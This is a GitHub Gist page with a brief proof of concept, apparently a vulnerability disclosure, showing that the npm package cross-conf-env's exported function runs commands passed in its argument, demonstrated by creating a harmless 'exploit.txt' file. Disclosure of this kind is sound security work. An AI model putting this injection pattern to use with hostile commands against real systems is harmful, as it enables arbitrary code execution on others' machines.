Created
October 26, 2023 21:07
-
-
Save mcoimbra/169182575c034961e93ae18d755bbb33 to your computer and use it in GitHub Desktop.
Package cross-conf-env: Possible to inject code in the argument of the package's exported function crossConfEnv
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict' | |
| const pkg = require('cross-conf-env'); | |
| // This will create a local 'exploit.txt' file. | |
| pkg.default(['touch', 'exploit.txt']); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment